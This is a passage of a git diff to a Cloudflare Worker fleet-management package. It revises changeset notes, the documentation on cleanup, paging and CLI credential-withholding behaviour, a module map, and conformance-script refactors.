.../direct-credentialed-observations.mjs | 19 +++- ...rect-credentialed-reference-vocabulary.mjs | 4 +- .../direct-credentialed-run-state.d.mts | 20 ++-- .../scripts/direct-credentialed-run-state.mjs | 41 +++---- .../scripts/direct-credentialed-scenario.mjs | 20 +--- .../scripts/direct-credentialed-teardown.mjs | 24 +++-- .../direct-credentialed-tenant-object.d.mts | 6 ++ .../direct-credentialed-tenant-object.mjs | 10 ++ .../scripts/direct-credentialed-tenant.ts | 17 +-- .../scripts/direct-reference-fence.ts | 18 ++-- .../scripts/direct-reference-worker.ts | 5 +- packages/fleet-control/src/backend-switch.ts | 20 ++-- packages/fleet-control/src/cleanup-advance.ts | 8 +- .../src/cloudflare-control-plane.ts | 6 +- .../src/d1-fleet-inventory-run-store.ts | 12 +-- .../fleet-control/src/decommission-intent.ts | 8 +- .../fleet-control/src/fleet-audit-advance.ts | 56 +++++----- .../fleet-control/src/fleet-audit-state.ts | 7 +- .../src/fleet-inventory-advance.ts | 9 +- .../src/fleet-inventory-state.ts | 10 ++ .../src/fleet-migration-advance.ts | 7 +- .../src/fleet-operation-state.ts | 44 +++++--- packages/fleet-control/src/fleet.ts | 80 +++++++------- packages/fleet-control/src/provision.ts | 9 +- packages/fleet-control/src/types.ts | 13 +++ .../src/workers-for-platforms-backend.ts | 9 +- ...-api-plain-worker-provisioning-api.test.ts | 28 ----- ...t-credentialed-conformance-runtime.test.ts | 18 ++-- ...redentialed-conformance.acceptance.test.ts | 6 +- .../test/direct-credentialed-evidence.test.ts | 8 +- .../direct-credentialed-observations.test.ts | 25 +++++ .../test/direct-credentialed-teardown.test.ts | 66 ++++++++---- .../test/fixtures/direct-reference-harness.ts | 27 +++-- .../test/fixtures/direct-run-state-builder.ts | 4 +- .../test/fixtures/fleet-audit-world.ts | 10 +- .../test/fixtures/fleet-operation-fakes.ts | 10 +- .../plain-worker-provisioning-api-fake.ts | 9 +- .../test/fleet-audit-advance.test.ts | 11 +- .../test/fleet-migration-advance.test.ts | 39 +++++++ .../test/fleet-operation-state.test.ts | 6 +- .../test/plain-worker-backend.test.ts | 4 +- ...gler-plain-worker-provisioning-api.test.ts | 102 +++++++++++++++++- packages/fleet-control/tsconfig.build.json | 2 +- packages/fleet-control/tsconfig.json | 2 +- 54 files changed, 589 insertions(+), 383 deletions(-) diff --git a/.changeset/bounded-cleanup-receipts.md b/.changeset/bounded-cleanup-receipts.md index 94666f87..78611630 100644 --- a/.changeset/bounded-cleanup-receipts.md +++ b/.changeset/bounded-cleanup-receipts.md @@ -5,7 +5,7 @@ Add token-driven bounded no-export cleanup with durable operation-keyed terminal receipts. `advanceCleanupDeployment()` performs at most one bounded scan chunk or one action group per call; the terminal call persists an immutable receipt, releases the deployment's ownership claims, and deletes the fleet row in one D1 batch. Receipts survive same-key reprovisioning and force decommission; read them with `readCleanupReceipt()` and garbage-collect them explicitly with `pruneCleanupReceipts()` (database-time cutoff, stable order, limit 1..1,000). `cleanupDeploymentArtifacts()` and the default failed-provision rollback drain this engine on capable stacks. - **BEHAVIOR CHANGE:** No-export cleanup is narrowed to deployments that provably never authorized a candidate invocation. New records persist an invocation-authority carrier on their first durable write, and every candidate-invoking dispatch (external candidate upload, first maintenance request, version override, promotion) commits an authorization timestamp durably before the provider call. Authorized rows, legacy carrier-less rows at `application-resources-deployed` through `maintenance-armed`, and rows with external staging evidence now refuse toward export-backed decommissioning; trusted plain deployments keep no-export cleanup through `worker-deployed`. -- **BEHAVIOR CHANGE:** Workers for Platforms and external-artifact deployments always refuse no-export cleanup: every current candidate binds the deployment D1, and no reviewed no-data profile exists. +- **BEHAVIOR CHANGE:** Workers for Platforms and external-artifact deployments refuse no-export cleanup as an untrusted data binding and route to export-backed decommissioning. - **BEHAVIOR CHANGE:** A failed provision whose rollback admitted the bounded engine is durably `cleanup-advancing`. `provisionDeployment()` refuses to resume it with a fixed redirect to cleanup; complete the cleanup (receipt) and reprovision fresh. Previously the row kept its provisioning phase and could be retried as provisioning. - **BEHAVIOR CHANGE:** External-candidate and WFP failed-provision rollback no longer tears the deployment down. The engine refuses before any mutation, the row keeps its phase and stays provisioning-retryable, and teardown routes to export-backed decommissioning. - **BEHAVIOR CHANGE:** Cleanup completion releases the deployment's ownership claims; decommission claim behavior is unchanged. Force decommission releases current claims on capable stores, refuses during an active bounded cleanup, and on legacy lease implementations without `deleteReleasingClaims` deletes the row and leaves claims for later reconciliation. Force does not delete the ordinary Worker script or application R2, so do not reprovision the same names until residual physical resources are confirmed removed; provisioning fails closed on ownership mismatch. diff --git a/.changeset/bounded-fleet-inventory.md b/.changeset/bounded-fleet-inventory.md index 8760dd79..c7b11c9d 100644 --- a/.changeset/bounded-fleet-inventory.md +++ b/.changeset/bounded-fleet-inventory.md @@ -14,7 +14,7 @@ Cross-account operation-ID collisions roll back the losing head claim and genera - **HARDENING:** the two durable finding details that previously interpolated a provider error string now store the fixed templates `registered script '' could not be inspected` and `plain Worker '' could not be inventoried`. The transient text stays call-local, so `collectFleetInventory()` still returns today's exact bytes while a persisted row carries no provider text. - **HARDENING:** a raw host-routing KV key name that is over-length or credential-shaped refuses the run; one that is merely unprintable or base64-shaped yields a `malformed-script-registration` finding naming the key by its listing ordinal rather than by its bytes. That finding is positionally attributable but does not carry the offending name. - Only a finalized generation is readable. The latest finalized generation reads without a pin; every older generation must be pinned before it is read, because pruning removes finalized-or-failed, non-latest, unpinned generations. -- A generation is a point-in-time-per-stage snapshot, not a globally consistent one. A resource that changes between stages is recorded exactly as the single-call enumeration surfaces it — the same guarantee `collectFleetInventory()` has always given. +- A generation is a point-in-time-per-stage snapshot, not a globally consistent one. A resource that changes between stages is recorded exactly as the single-call enumeration surfaces it. - Bounded cursor history beyond the last committed offset is deliberately out of scope: a single-pass resumable scan needs only the last offset. - **INTERNAL:** `inventoryBoundExceeded` is consolidated into `cloudflare-client-config.ts` and shared by both provider modules. The refusal messages are byte-identical. diff --git a/.changeset/operation-store-port-requirements.md b/.changeset/operation-store-port-requirements.md index dec09ab4..6708438d 100644 --- a/.changeset/operation-store-port-requirements.md +++ b/.changeset/operation-store-port-requirements.md @@ -1,9 +1,9 @@ --- -'@proofoftech/fleet-control': patch +'@proofoftech/fleet-control': minor --- State three requirements a `FleetOperationStore` implementation must meet, and hold the shipped D1 store to them. -- `withAccountOperationLease` requires that the promise it returns settle only after the lease release completes, so a composition that awaits one call holds no lease when the next one takes it. `D1FleetOperationStore` already awaits its release before returning; the requirement now sits on the port both compositions depend on instead of being restated per caller. +- `withAccountOperationLease` requires that the promise it returns settle only after the lease release completes, so a composition that awaits one call holds no lease when the next one takes it. `D1FleetOperationStore` already awaits its release before returning. - **BEHAVIOR CHANGE:** `readOperationRowsPage` requires a page of at most `limit` rows and serves a `limit` above 1,000 at 1,000, the one documented ceiling and the maximum page `D1FleetOperationStore` already enforced. An over-large `limit` costs the caller the rows beyond the ceiling rather than the read, where the D1 store refused it before. `readFleetAuditFindingsPage` and `readFleetMigrationItemsPage` forward a caller's `limit` unchanged, so they answer the same way against any conforming store. A `limit` that is not an integer of at least 1 is refused. - **BEHAVIOR CHANGE:** `failOperation` reports an update target missing at its post-batch readback as a conflict, the classification `commitProgress` convergence already uses for a missing row, rather than as a divergence. Divergence keeps its narrower meaning: landed bytes that differ from the intended ones. diff --git a/docs/fleet-control.md b/docs/fleet-control.md index 5d419d28..85902f17 100644 --- a/docs/fleet-control.md +++ b/docs/fleet-control.md @@ -252,7 +252,7 @@ Inspection requires enrollment and returns signed health for the provider-observ ### Attest the active route -Active-route attestation proves which provider artifact receives traffic and which fleet specification digest that artifact carries. It starts from provider routing state, not the desired candidate returned by `inspect()`. Every package-owned promotion path attests after promotion: initial provision, every `migrateFleet()` branch, and `rollbackExternalRelease()` all fail closed when the route is absent, ambiguous, or mismatched. The two-version staging window is refused wherever an attestation observes it, and a package-owned promote path can observe it: `PlainWorkerBackend.promoteWorker` returns once the provider acknowledges the 100 percent deployment, not once the traffic split has converged, and attestation reads routing state after that. `attestConvergedActiveRoute()` retries an unconverged read inside its budget and refuses the release when the budget expires without a matching observation. +Active-route attestation proves which provider artifact receives traffic and which fleet specification digest that artifact carries. It starts from provider routing state, not the desired candidate returned by `inspect()`. Initial provisioning, the migration plan's promote-and-settle steps — reached by `migrateFleet()` and by `advanceFleetMigration()` — and `rollbackExternalRelease()` attest after promotion, reaching `attestConvergedActiveRoute()` through `settlePromotedRoute` on the migration and rollback paths, and fail closed when the route is absent, ambiguous, or mismatched. The two-version staging window is refused wherever an attestation observes it, and a package-owned promote path can observe it: `PlainWorkerBackend.promoteWorker` returns without waiting for the deployment's traffic split to converge, and attestation reads routing state afterwards. `attestConvergedActiveRoute()` retries an unconverged read inside its budget and refuses the release when the budget expires without a matching observation. An ordinary Worker attestation performs two provider reads per attempt: read the deployment traffic split, require exactly one version at 100 percent, then read that version's specification-digest binding. A deployment containing two versions is refused even when one has 100 percent and the other has 0 percent; Fleet control never selects a version by highest share. `physicalScriptName` equals `spec.scriptName` by construction because promotion already proves custom-domain ownership for that script. @@ -332,7 +332,7 @@ The limits apply together: - At most 96 KiB per input record; plain JSON within depth 64, 8,192 nodes, and 4 KiB per string or object key - Deployment identifier grammar for every record's tenant and environment - At most 64 frozen plan entries per item -- Item page limits from 1 through 1,000, the page ceiling a conforming operation store serves: a larger `limit` returns the 1,000-row page rather than a refusal, and the cursor carries the rest. Explicit prune limits from 1 through 1,000, refused outside that range +- Item page limits from 1 through 1,000; a larger `limit` is served at the ceiling — see [Audit an account under a request budget](#audit-an-account-under-a-request-budget). Explicit prune limits from 1 through 1,000, refused outside that range The canary envelope is separately checked by the same plain-data and byte codec, then included in the intake digest. Its bytes do not count toward the record sum. @@ -469,7 +469,7 @@ Read terminal audit findings with `readFleetAuditFindingsPage(store, {operationI The store raises the final-page signal and this reader checks it against `FleetAuditProgress.findingCount`: a final page accounting for fewer rows than that count throws `fleet operation state is malformed`, so a store reporting completion early cannot truncate the findings silently. A final page accounting for more is served, because an interrupted global stage chunk leaves finding rows staged above the count its commit never reached. A short page that is not final stays a valid page. The reader imposes no total-page bound. A custom store must satisfy `FleetOperationStore.readOperationRowsPage`; callers should bound their own traversal when diagnosing a store that keeps reporting more pages. -`limit` reaches the store as written. `D1FleetOperationStore` serves a `limit` above 1,000 at 1,000, the one documented page ceiling, so a caller asking for a larger page reads 1,000 rows and follows the cursor for the rest instead of losing the read. A `limit` that is not an integer of at least 1 is refused. `FleetOperationStore.readOperationRowsPage` requires that ceiling of a custom store too, and the in-memory doubles the suites run hold to it. +`limit` reaches the store as written. `D1FleetOperationStore` serves a `limit` above 1,000 at 1,000, the one documented page ceiling, so a caller asking for a larger page reads 1,000 rows and follows the cursor for the rest instead of losing the read. A `limit` that is not an integer of at least 1 is refused. `FleetOperationStore.readOperationRowsPage` requires that ceiling of a custom store too. Use `abandonFleetAuditOperation()` to fail a stuck running operation and release its inventory pin. Repeating abandonment on a terminal operation releases a surviving pin without changing its state. @@ -487,7 +487,7 @@ Direct `FleetInventoryLease.commitChunk()` callers must retain the run's account Retry the original continuation after an interrupted finalization. The coordinator repairs the matching finalized head before reading the generation. Direct failure callers can retry the same `failRun()` request to release an interrupted head; neither repair clears a newer operation. Pruning retains the active terminal generation so that repair can finish. Await dependent mutations made through one lease handle; independent calls can overlap. A pin that loses a race with reclamation refuses, while an admitted pin protects the generation from pruning. A partial prune remains retryable and cannot gain a new pin over missing data. Pinning can scan the generation in D1; account for that database work when sizing the control plane. Historical generations still require a pin when they are no longer latest. -Two limitations are deliberate. First, a generation is a point-in-time-per-stage snapshot, not a globally consistent one: a resource that changes between stages — a script deleted after the script listing but before its detail read — is recorded exactly as the single-call drain surfaces it, through the same `incomplete-deployment` finding. This is the guarantee `collectFleetInventory()` has always given. Second, durable findings never echo transient provider text. The two sites that previously interpolated a provider error store the fixed details `registered script '' could not be inspected` and `plain Worker '' could not be inventoried`; the transient text stays call-local, which is why `collectFleetInventory()` can still compose today's exact bytes while the durable row cannot. +Two limitations are deliberate. First, a generation is a point-in-time-per-stage snapshot, not a globally consistent one: a resource that changes between stages — a script deleted after the script listing but before its detail read — is recorded exactly as the single-call drain surfaces it, through the same `incomplete-deployment` finding. Second, durable findings never echo transient provider text. The two sites that previously interpolated a provider error store the fixed details `registered script '' could not be inspected` and `plain Worker '' could not be inventoried`; the transient text stays call-local, which is why `collectFleetInventory()` can still compose today's exact bytes while the durable row cannot. One compatibility limitation follows from that shared engine, and it applies to `collectFleetInventory()` as well as to a bounded run. A stage chunk is bounded by `maxProviderRequests`, whose maximum is 1,000, and six stages carry no resumption cursor or ordinal: `registration-postprocess`, `custom-domains`, `zone-authority`, `route-claims`, `d1-databases`, and `do-namespaces`. Those six must finish inside one chunk, so exhausting the budget there is a refusal rather than partial progress. `collectFleetInventory()` supplies the maximum 1,000 to every chunk, which means an account whose single non-resumable stage needs more than 1,000 provider operations now refuses where the previous single-pass enumeration completed under the 10,000-item collection bound. In practice `route-claims` is the first to reach it: it re-reads the custom domains, the zone list, every zone's route pages, and one identity read per prefix-matching plain Worker, so roughly 1,000 prefix-matching plain Workers in one account is the threshold. An operator sees `fleet inventory stage 'route-claims' cannot complete one chunk within its provider request budget` (naming whichever stage saturated) instead of an inventory; nothing is written and no partial result is returned. The 9-through-1,000 budget is a deliberate bounded boundary, so there is no unbounded mode: split such an account across narrower `scriptNamePrefix` values. @@ -572,7 +572,7 @@ Cloudflare documents a 1,200-request-per-five-minute client API limit per user o `cleanupDeploymentArtifacts()` removes an owned prepublication deployment without a database export. It drains the same bounded engine that `advanceCleanupDeployment()` exposes for Queue-driven control planes: call `start` first, then re-enqueue only the pending token each call returns; a blocked result stays inert until an exact `restart-blocked` with its current token. Fleet D1 owns the operation, its bounded attachment-scan progress, and the terminal receipt; a token is a continuation claim, not authority. One call performs at most one bounded scan chunk or one action group. Stale tokens return the current durable result, while future tokens, tokens for another deployment, and decommission tokens fail closed. An active cleanup intent of either authority resumes through `start`; a partial drain leaves the durable intent for retry. -No-export database deletion is admissible only when the deployment provably never authorized a candidate invocation. Every new record carries a durable invocation-authority carrier from its first persisted write, and every candidate-invoking dispatch — an external candidate upload, the first maintenance request, a version override, or a promotion — commits an authorization timestamp durably before the provider call. A rejected or unacknowledged authority write aborts before dispatch, and a lost provider response counts as possible execution. Trusted platform-authored deployments therefore keep no-export cleanup through `worker-deployed`. Rows with an authorized carrier, Workers for Platforms and external-artifact candidates (every current candidate binds the deployment database), rows carrying external staging evidence, and legacy carrier-less rows at upload-ambiguous or later phases all refuse with a fixed message that names export-backed decommissioning as the remedy. Legacy carrier-less rows at phases that could not yet have dispatched an upload stay eligible, and the eligibility re-check runs again immediately before the database-deletion group. +No-export database deletion is admissible only when the deployment provably never authorized a candidate invocation. Every new record carries a durable invocation-authority carrier from its first persisted write, and every candidate-invoking dispatch — an external candidate upload, the first maintenance request, a version override, or a promotion — commits an authorization timestamp durably before the provider call. A rejected or unacknowledged authority write aborts before dispatch, and a lost provider response counts as possible execution. Trusted platform-authored deployments therefore keep no-export cleanup through `worker-deployed`. Rows with an authorized carrier, Workers for Platforms and external-artifact candidates, rows carrying external staging evidence, and legacy carrier-less rows at upload-ambiguous or later phases all refuse with a fixed message that names export-backed decommissioning as the remedy. Legacy carrier-less rows at phases that could not yet have dispatched an upload stay eligible, and the eligibility re-check runs again immediately before the database-deletion group. A completed cleanup atomically persists an immutable operation-keyed terminal receipt, releases the deployment's ownership claims, and deletes the fleet row in one D1 batch. The receipt records the admitted phase, the authority (`manual-cleanup` or `provisioning-rollback`), the disposition (`reservation-cleared` or `prepublication-owned-no-export`), and provider-text-free evidence. Receipts survive reprovisioning of the same key and force decommission, so a delayed token converges on its receipt instead of touching a new row. Read one with `readCleanupReceipt()`; prune explicitly with `pruneCleanupReceipts({ completedBeforeMs, limit })`, which uses the database-assigned completion time, a stable order, and an integer limit from 1 through 1,000. Pruning invalidates delayed tokens for exactly the pruned operations. @@ -700,14 +700,14 @@ Modes are mutually exclusive. Use `--help` for usage. Live modes require built p | --- | --- | --- | | `0` | Cleaned, or successful preflight/help | Inspect the summary and, for a live run, evidence | | `1` | Failed, outcome unknown, or run-state refusal | Inspect the refusal and retained identities | -| `2` | Invalid usage, environment, configuration, or live-mode admission | Correct the named input, or the credential itself where the refusal is that it collides with a line the CLI prints or with a key `evidence.json` carries, digits alone included because the artifact's arrays are keyed by index — a live run would otherwise reach the end and withhold its output. A live-mode refusal whose own diagnostic would contain the refused credential prints nothing, so re-check each variable in the table above | +| `2` | Invalid usage, environment, configuration, or live-mode admission | Correct the named input, or the credential itself where the refusal is a collision | | `3` | Restart required | Resume in a fresh process | | `4` | Resources retained | Use the recorded facts for recovery approval | | `5` | The evidence file was not published, or a required summary line was withheld because it would contain a credential — before or after `evidence.json` was written | Recover from the evidence artifact; the evidence writer below says which branch this run is in | A run that resolves more than one code reports the highest: evidence failure, then failure, then the code the run itself reached. A late internal error therefore reports `1` for a run whose own outcome was `3` or `4`. A summary too large to print is a separate case: its members are replaced by a fixed `internal-error` line, or by the `evidence-failed` pair when the run had already resolved `5`, and the exit code stays the one the run resolved — so a `--preflight` whose summary overflows still exits `0` with a fixed line in place of the summary. -In `--run` and `--resume` every line the CLI writes is scanned before it is written — the usage line and the internal-error diagnostic included — and is withheld rather than printed when it would carry `CLOUDFLARE_API_TOKEN` or `FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET`. The scan covers each line joined to the lines already written, in both orders, because a reader interleaving the two descriptors can see either. A withheld stdout summary is itself exit `5`; a withheld stderr copy or fixed diagnostic leaves the resolved code alone. The other modes print without a guard: they read no credential. +In `--run` and `--resume` every line the CLI writes is scanned before it is written — the usage line and the internal-error diagnostic included — and is withheld rather than printed when it would carry `CLOUDFLARE_API_TOKEN` or `FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET`. The scan covers each line joined to the lines already written, in both orders, because a reader interleaving the two descriptors can see either. A withheld stdout summary is itself exit `5`; a withheld stderr copy or fixed diagnostic leaves the resolved code alone. Live-mode admission refuses a credential that collides with a line the CLI prints or with a key `evidence.json` carries, digits alone included because the artifact's arrays are keyed by index — a live run would otherwise reach the end and withhold its output. Such a refusal prints nothing when its own diagnostic would contain the refused credential, so re-check each variable in the environment table above. The other modes print without a guard: they read no credential. A successful complete teardown makes a later resume evidence-only, with no provider requests and a null `teardownCall`. A recorded teardown refusal re-observes residuals and retains resources instead of advancing into deletion. Pending invocation or bootstrap mutations refuse automated continuation with `outcome-unknown`: inspection validates the journal binding under the same lock, reports the run directory and the retained identities, and writes evidence into that directory without mutating the journal. Pending teardown work can resume reconciliation. After the ingress probe, the client re-sends identical requests under one reservation within the shorter of 120 seconds or the invocation timeout: read-only actions retry transport failures and non-contract answers; mutations retry only unmarked 404 text pages. The first send and any answer whose contract headers have arrived are bounded by the invocation timeout alone. Answer failures report a fixed `detail`: `platform-page`, `transport-failure`, `non-contract-answer`, or `delivery-window-expired` when read-only delivery exhausts that window. Concurrent callers fail with `lock-unavailable`, and so does a host that cannot take the lock at all — a platform other than Linux, or one whose process exposes no user id or none of the `O_NOFOLLOW`, `O_NONBLOCK` and `O_DIRECTORY` flags the private handles need. An existing run refuses `--run` with `run-exists`. diff --git a/packages/fleet-control/CLAUDE.md b/packages/fleet-control/CLAUDE.md index f390d3aa..1c116829 100644 --- a/packages/fleet-control/CLAUDE.md +++ b/packages/fleet-control/CLAUDE.md @@ -15,18 +15,18 @@ Source map: - `provision.ts`, `decommission-advance.ts`, `backend-switch.ts`, `fleet.ts`: deployment lifecycle state machines (the Worker-safe bounded normal coordinator is isolated in `decommission-advance.ts`; the root-only bounded switch coordinator remains in `backend-switch.ts`) - `workers-for-platforms-backend.ts`, `plain-worker-backend.ts`, `wrangler-loop-backend.ts`, `cloudflare-api-plain-worker-backend.ts`: provisioning backends (the Workers for Platforms backend, the shared ordinary-Worker core, and its Wrangler and direct-API adapters) -- `cloudflare-client.ts`, `cloudflare-ordinary-worker-operations.ts`, `cloudflare-provider-errors.ts`, `cloudflare-rate-coordinator.ts`: provider API (the client, the ordinary-Worker operations behind it, the SDK-error helpers) and its shared quota fence +- `cloudflare-client.ts`, `cloudflare-ordinary-worker-operations.ts`, `cloudflare-provider-errors.ts`, `cloudflare-rate-coordinator.ts`: provider API (the client, the ordinary-Worker operations behind it, the SDK-error helpers, and `refuseRedirectStatus`, the redirect refusal the provider transports share with the tenant-Worker maintenance transport) and its shared quota fence - `cloudflare-client-config.ts`, `strict-plain-data.ts`, `cloudflare-worker-attachment-scan-state.ts`, `cloudflare-worker-attachment-scan.ts`: shared SDK retry bounds, strict resumable state, and the request-bounded account-wide D1/R2 attachment scanner - `decommission-intent.ts`: strict durable decommission shell and continuation-token codecs - `decommission-database.ts`: provider-neutral bounded D1 reference, receipt, export-result, and deletion-settlement choreography - `json-field-reads.ts`: JSON field readers shared by provider adapters and error sanitization -- `state-store.ts`, `migration-ledger.ts`, `d1-fleet-state-database.ts`, `database-export-store.ts`, `export-file-name.ts`, `export-store.ts`, `r2-export-store.ts`: durable fleet state (`d1-fleet-state-database.ts` adapts a Workers D1 binding to the state store's database port; `database-export-store.ts` declares `DurableDatabaseExportStore`, which `export-store.ts` implements over the filesystem and `r2-export-store.ts` over an R2 binding; `export-file-name.ts` holds the portable-segment check both stores use) +- `state-store.ts`, `migration-ledger.ts`, `d1-fleet-state-database.ts`, `database-export-store.ts`, `export-file-name.ts`, `export-store.ts`, `r2-export-store.ts`: durable fleet state (`d1-fleet-state-database.ts` adapts a Workers D1 binding to the state store's database port; `database-export-store.ts` declares `DurableDatabaseExportStore`, which `export-store.ts` implements over the filesystem and `r2-export-store.ts` over an R2 binding, and declares `cancelBodyWithoutAwait`, the response-body cancellation shared across the package's provider, backend and export-store modules; `export-file-name.ts` holds the portable-segment check both stores use) - `fleet-operation-state.ts`, `d1-fleet-operation-store.ts`: bounded operation ports, codecs and D1 storage - `fleet-audit-state.ts`, `fleet-audit-advance.ts`: bounded audit state and coordinator - `fleet-inventory-state.ts`, `fleet-inventory-advance.ts`, `d1-fleet-inventory-run-store.ts`: inventory state, coordinator and generation storage - `fleet-migration-state.ts`, `fleet-migration-advance.ts`: migration state and coordinator - `workers/`: the platform's own deployed Workers, published as separate export entries -- `scripts/`: repository conformance tooling; `direct-credentialed-conformance.mjs` is the direct-API CLI entry, with runtime orchestration, journal, evidence, bootstrap, scenario, and teardown modules beside it +- `scripts/`: repository conformance tooling; `direct-credentialed-conformance.mjs` is the direct-API CLI entry and composes the `direct-credentialed-*` modules beside it ```bash pnpm fleet-control:check diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-runtime.d.mts b/packages/fleet-control/scripts/direct-credentialed-conformance-runtime.d.mts index 0705ef14..efd4273b 100644 --- a/packages/fleet-control/scripts/direct-credentialed-conformance-runtime.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-conformance-runtime.d.mts @@ -64,6 +64,11 @@ export function directLineCarries( line: string, values: readonly (string | undefined)[], ): boolean; +/** + * The bytes a result renders on stdout: the summary line, or the empty string + * where the safe rendering is silence. + */ +export function directStdoutOf(result: DirectConformanceResult): string; export function directWritesStderr(result: DirectConformanceResult): boolean; /** * Resolves one process exit code from several. `evidenceFailed` ranks above diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-runtime.mjs b/packages/fleet-control/scripts/direct-credentialed-conformance-runtime.mjs index 7f27ea23..06f8c6c1 100644 --- a/packages/fleet-control/scripts/direct-credentialed-conformance-runtime.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-conformance-runtime.mjs @@ -99,17 +99,12 @@ const evidenceFailureLines = Object.freeze({ false: evidenceFailureLine(false), true: evidenceFailureLine(true), }); -// A null prototype keeps the lookup total: a variable the table does not carry -// reads as `undefined` rather than as an inherited member. const invalidInputLines = Object.freeze( - Object.assign( - Object.create(null), - Object.fromEntries( - DIRECT_ADMISSION_VARIABLES.map((variable) => [ - variable, - fixedLineOf({ code: codes.invalidInput, variable }), - ]), - ), + Object.fromEntries( + DIRECT_ADMISSION_VARIABLES.map((variable) => [ + variable, + fixedLineOf({ code: codes.invalidInput, variable }), + ]), ), ); /** @@ -135,7 +130,7 @@ export function parseDirectConformanceArgs(argv) { if (args.length === 0) return 'preflight'; if ( args.length === 1 && - ['--preflight', '--run', '--resume', '--help'].includes(args[0]) + DIRECT_CONFORMANCE_MODES.map((mode) => `--${mode}`).includes(args[0]) ) return args[0].slice(2); return null; @@ -153,6 +148,14 @@ export function directLineCarries(line, values) { ); } +/** + * The bytes a result renders on stdout: the summary line, or none where the + * safe rendering is silence. + */ +export function directStdoutOf(result) { + return result.stdoutLine ?? ''; +} + /** * Whether the entry copies a result's stderr line to its own stderr. The * stderr-only refusal exits 2, so its own exit code already selects it. @@ -424,8 +427,8 @@ export async function runDirectConformance(input) { if (journal) { if (input.mode === 'resume') await journal.recordResume(); const snapshot = journal.snapshot(); - // Dispatch row 1: a settled teardown leaves nothing to drive, so the run - // is evidence-only. + // A settled teardown leaves nothing to drive, so the run is + // evidence-only. if ( snapshot.teardown?.phase === 'complete' && snapshot.teardown.failure === null @@ -443,10 +446,9 @@ export async function runDirectConformance(input) { ...(input.fetch ? { fetch: input.fetch } : {}), }; let restart = false; - // Dispatch row 5: no recorded teardown and no settled scenario. Rows 2, - // 3 and 4 are this predicate's complement — a recorded teardown, a - // failed scenario, a complete scenario — and each skips straight to - // teardown on the journal's own record. + // No recorded teardown and no settled scenario. This predicate's + // complement — a recorded teardown, a failed scenario, a complete + // scenario — skips straight to teardown on the journal's own record. if ( snapshot.teardown === undefined && (snapshot.scenario === undefined || @@ -475,7 +477,7 @@ export async function runDirectConformance(input) { teardownCall: null, }; } else { - // Rows 2 through 5 converge here. + // The other branches converge here. const teardown = await modules.teardown({ ...networkInput, ...(input.delay ? { delay: input.delay } : {}), diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance.mjs b/packages/fleet-control/scripts/direct-credentialed-conformance.mjs index a140023f..8c14e6c7 100644 --- a/packages/fleet-control/scripts/direct-credentialed-conformance.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-conformance.mjs @@ -6,6 +6,7 @@ import { DIRECT_INTERNAL_ERROR_DIAGNOSTIC, DIRECT_USAGE_DIAGNOSTIC, directLineCarries, + directStdoutOf, directWritesStderr, isDirectLiveMode, parseDirectConformanceArgs, @@ -85,10 +86,8 @@ if (mode === null) { .then((result) => { armGuard(); setExitCode(result.exitCode); - if ( - result.stdoutLine !== null && - !write(process.stdout, result.stdoutLine) - ) + const stdout = directStdoutOf(result); + if (stdout !== '' && !write(process.stdout, stdout)) setExitCode(exits.evidenceFailed); if (directWritesStderr(result)) write(process.stderr, result.stderrLine); }) diff --git a/packages/fleet-control/scripts/direct-credentialed-evidence.d.mts b/packages/fleet-control/scripts/direct-credentialed-evidence.d.mts index 78f8f576..3b406e25 100644 --- a/packages/fleet-control/scripts/direct-credentialed-evidence.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-evidence.d.mts @@ -58,9 +58,10 @@ export const DIRECT_CONFORMANCE_COMMANDS: Readonly<{ export const DIRECT_EVIDENCE_KEYS: readonly string[]; /** * The dotted paths of the projected provider strings the journal decodes with - * `identifier`, each guarded against the identity shape. A value the journal - * bounds to the scenario charset, and a prefix-derived name, are absent by - * rule: neither can reach this boundary wider than the guard. + * `identifier`, each guarded against the identity shape. A prefix-derived name + * is absent because it is the run's own; a value the journal bounds to the + * scenario charset is absent because that charset is strictly wider than the + * identity shape, so a guard on it refuses values the journal admits. */ export const DIRECT_EVIDENCE_IDENTITY_PATHS: readonly string[]; /** diff --git a/packages/fleet-control/scripts/direct-credentialed-evidence.mjs b/packages/fleet-control/scripts/direct-credentialed-evidence.mjs index a217e9b7..d3f40a38 100644 --- a/packages/fleet-control/scripts/direct-credentialed-evidence.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-evidence.mjs @@ -2,12 +2,16 @@ import { createHash, randomUUID } from 'node:crypto'; import { constants } from 'node:fs'; -import { open, readdir, readFile, rename, unlink } from 'node:fs/promises'; +import { open, readFile, rename, unlink } from 'node:fs/promises'; import { createRequire } from 'node:module'; import { join } from 'node:path'; import { DIRECT_INVOCATION_FAILURE_DETAILS } from './direct-credentialed-invocation.mjs'; import { DIRECT_RESIDUAL_SURFACES } from './direct-credentialed-reference-vocabulary.mjs'; -import { assertPrivate, fileFlags } from './direct-credentialed-run-state.mjs'; +import { + assertPrivate, + fileFlags, + sweepStagedFiles, +} from './direct-credentialed-run-state.mjs'; import { DIRECT_SCENARIO_PHASES } from './direct-credentialed-scenario-budget.mjs'; import { survivingIdentities } from './direct-credentialed-teardown.mjs'; @@ -357,11 +361,13 @@ export function buildDirectEvidence({ * `identifier` — any trimmed, control-free string up to 128 characters — which * is wider than the identity shape below, so these are the paths at which a * decoded journal can still carry a value the evidence boundary must refuse. - * Two rules keep a path out of the list: a value the journal already bounds to - * the scenario charset (`run-state.mjs`'s `scenarioId`, whose accepted set the - * identity shape contains) reaches this boundary narrower than the guard, and a - * prefix-derived name such as `retainedIdentities.exportBucket` or - * `retainedIdentities.scriptName` is the run's own, not the provider's. + * Two rules keep a path out of the list. A prefix-derived name such as + * `retainedIdentities.exportBucket` or `retainedIdentities.scriptName` is the + * run's own, not the provider's. A value the journal bounds to the scenario + * charset (`run-state.mjs`'s `scenarioId`) rests on that bound alone: the + * charset is strictly wider than the identity shape — it accepts `:`, and a + * leading `.`, `-` or `_` — so a guard on such a path refuses values the + * journal admits rather than restating a check it has already made. * `test/direct-credentialed-evidence.test.ts` resolves every member against a * maximal artifact, so a renamed or moved projection key is a red test rather * than a guard that silently stops matching. @@ -455,13 +461,7 @@ export async function 